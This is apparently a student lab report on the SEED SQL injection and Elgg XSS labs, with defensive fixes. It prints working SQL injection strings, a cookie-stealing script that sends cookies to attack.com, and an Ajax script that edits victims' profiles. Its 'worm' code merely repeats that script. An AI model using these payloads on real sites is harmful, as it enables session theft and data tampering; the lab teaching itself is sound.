20252905 2025-2026-2 《网络攻防实践》第十周作业
20252905 2025-2026-2 《网络攻防实践》第十周作业
实践内容
一、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
SQL对抗:修复上述SQL注入攻击漏洞。
二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
弹窗显示cookie信息:将cookie信息显示。
窃取受害者的cookies:将cookie发送给攻击者。
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
编写XSS蠕虫。
对抗XSS攻击。
1.知识点梳理与总结
| 实验模块 | 攻击技术 | 核心原理 | 关键操作/ payload示例 | 防御措施 |
|---|---|---|---|---|
| SQL注入 (SELECT) | 认证绕过 | 在输入框中注入永真条件,使原有SQL查询逻辑改变 | 用户名输入:admin' or '1'='1密码任意 |
使用参数化查询 / 预编译语句(PreparedStatement) |
| SQL注入 (UPDATE) | 数据篡改 | 利用UPDATE语句的漏洞,一次执行多条语句,修改他人数据 | 工资更新处注入:', salary='100000' where name='Boby';# |
输入过滤 / 最小权限原则 |
| XSS (存储型) | 弹窗警报 | 在个人资料中注入<script>,被其他用户查看时执行 |
<script>alert('XSS');</script> |
对用户输出进行HTML实体转义 |
| XSS (窃取Cookie) | 凭证窃取 | 通过JS获取用户cookie并发送到攻击者服务器 | <script>document.write('<img src="http://attack.com/steal?c='+document.cookie+'"/>');</script> |
设置HttpOnly Cookie |
| XSS (请求伪造) | 执行操作 | 在受害者浏览器中发起伪造请求,添加好友或修改资料 | 通过JS模拟HTTP请求(如XMLHttpRequest或伪造表单提交) | 引入CSRF Token |
| XSS (蠕虫) | 自我复制传播 | 注入的脚本包含传播逻辑,当用户查看被感染页面时,自动将其个人资料页变为新的传播源 | 脚本中包含修改目标页面并嵌入相同蠕虫payload的逻辑 | 内容安全策略(CSP) |
2.实验过程
任务0:准备工作
选取seedUbuntu,进入Vmnet8模式,修改默认显示用户名,准备开始实验

任务1:SEED SQL注入攻击与防御实验
(1)在seed中输入mysql -u root -p启动mysql,密码:seedubuntu

(2)输入show databases;,查看当前所有数据库内容

(3)输入命令:use users; 使用该数据库,并查看其中的表:show tables;

(4)输入命令select * from credential;查询表项

(5)输入指令select * from crendital where Name=‘Admin’;查询权限为管理员的数据行

评价:命令行系统看数据库确实还是太勉强了,不说用navicat,再怎么说pycharm的数据库或者phpStudy也挺好呐
任务2:对SELECT语句的SQL注入攻击
(1)输入网站www.SEEDLabSQLInjection.com

(2)在登录界面右键,选择view page source查看网页源码,该网页采用get 方法访问 unsafe_home.php,

(3)在seed寻找该文件,在computer中按照路径/var/www/SQLInjection/unsafe_home.php即可找到该文件,在文件中查看到了登录的代码。通过分析这段sql代码得知,在用户名后加入#字符,即可起到注释的作用,后续的AND Password='hashed_pwd部分被Mysql忽略,故登录的时候只需要输入匹配的用户名即可


(4)返回登录界面,输入Admin‘#,成功进入系统

任务3:对UPDATE语句的SQL注入攻击:
(1)进入Edit Profile界面,查看源代码发现数据发送到unsafe_edit_backend.php ,在与上一个文件相同的路径中打开,查看源代码


(2)发现了一个与上一个文件相似的代码,有相同的漏洞,在输入NickName时在后面加#即可对数据进行修改

(3)在NickName处输入 ', Salary='20252905‘ where name='Admin'; #,成功将Admin的Salary改为20252905

任务4:SQL对抗
(1)通过前两个任务了解到,在输入中加入#会更改程序运行逻辑,从而不触发对应安全代码,直接对数据进行修改,危害数据安全对代码进行修改。通过查询资料得知,可以使用bind_param来对代码进行修复
(换句话来说,sql注入本质上就是通过将输入的信息放入到源代码中,使得代码误将正常的逻辑打破,从而获取数据库权限等)
(2)在文件中,将SELECT的语句修改为$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password From credential WHERE name= ? and Password=?;"); $sql->bind_param("ss",$input_uname,$hashed_pwd);
(3)将Update语句修改为
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;"); $sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
修改后这个SQL注入的漏洞被堵住了,原先的登录方法也就进不去了

任务5:SEED XSS跨站脚本攻击实验(Elgg)
(1)在seed中输入 http://www.xsslabelgg.com ,进入XSS实验网站

(2)使用Alice,seedalice登录Alice账号

(3)在该界面中点击Edit profile,在Brief description中输入,保存后出现提示20250905zzy

(4)在刚才的输入框中进行修改,将内容修改为,保存后出现cookie的信息


(5)查看ip地址为192.168.200.8

(6)在Alice账号的Brief description中输入如下所示的XSS攻击代码:
,
(7)保存后,在终端中可发现cookie值

(8)用Alice的账号查找Samy用户

(9)ctrl+shift+E,打开开发者工具,点击添加好友,得到如下信息:http://www.xsslabelgg.com/action/friends/add?friend=46&__elgg_ts=1779112012&__elgg_token=VncrvL_M4LZdT-8HiKHlUQ&__elgg_ts=1779112012&__elgg_token=VncrvL_M4LZdT-8HiKHlUQ
包含以下信息:
地址:http://www.xsslabelgg.com/action/friends/add
好友ID(friend):46
时间戳:1779112012
token:VncrvL_M4LZdT-8HiKHlUQ

(10)将如下代码输入Alice的About me中,保存

(11)进入自己的主页,在Activity中发现samy成为了自己的好友,攻击成功,成功使进入主页的用户成为Alice的好友

(12)在Alice的About me中,输入下列代码:
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "name=" + userName + "&description=<p>20252905zzy,rainloop.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
(13)使用samy登录,访问Alice主页,后返回自己主页,发现主页已经被更改

(14)编写XSS蠕虫,在Alice主页输入以下代码:
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "name=" + userName + "&description=<p>20252905zzy,rainloop.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
(15)对抗XSS攻击。使用管理员账号(账号:Admin,密码:seedelgg)登录,在右上角Account—Plugins中找到HTMLawed关闭

(16)进入Alice主页发现变为代码形式

3.学习中遇到的问题及解决
-问题1:从同学那里安装的镜像系统完全进不去
解决方案:进去之后鼠标完全用不了,不知道怎么回事,在官网重装了一个就好了,很奇怪是
-问题2:对xss代码那块不太熟悉,导致重做了好几次
解决办法:学无止境呐朋友,不会的还很多呢,生而有穷,知而无穷,以有穷追无穷,岂不殆哉
3.学习感悟、思考等
本次SEED实验通过SQL注入与XSS攻击两个经典Web漏洞,系统展示了“输入可信”原则被破坏后的严重后果。在SQL注入部分,通过SELECT语句的认证绕过和UPDATE语句的数据篡改,我理解到:应用程序若简单拼接用户输入,攻击者即可通过精巧的永真条件或语句闭合,彻底改变数据库查询意图,从而窃取登录权限或恶意篡改数据。而在XSS部分,通过在Elgg社交平台植入恶意脚本,我们实现了从弹窗警告、窃取Cookie到伪造用户请求(添加好友、修改资料)乃至编写具有自我复制能力的XSS蠕虫的全过程。这让我直观认识到,存储型XSS的危害远不止于弹窗,攻击者可以完全接管用户在Web应用中的身份与操作。
针对上述漏洞,实验中均给出了明确的防御思路:SQL注入的根本防御在于使用参数化查询与预编译语句,将代码与数据分离;而XSS的核心缓解措施则是对用户可控输出进行严格编码与过滤,配合HttpOnly Cookie和内容安全策略(CSP)阻断恶意脚本的执行与传播。通过本次实践,我不仅加深了对Web应用漏洞成因的理解,同时也建立起“每一条用户输入都可能是攻击载荷”的安全开发意识,为后续从事安全开发或渗透测试工作奠定了坚实基础。
参考资料
教学视频
浙公网安备 33010602011771号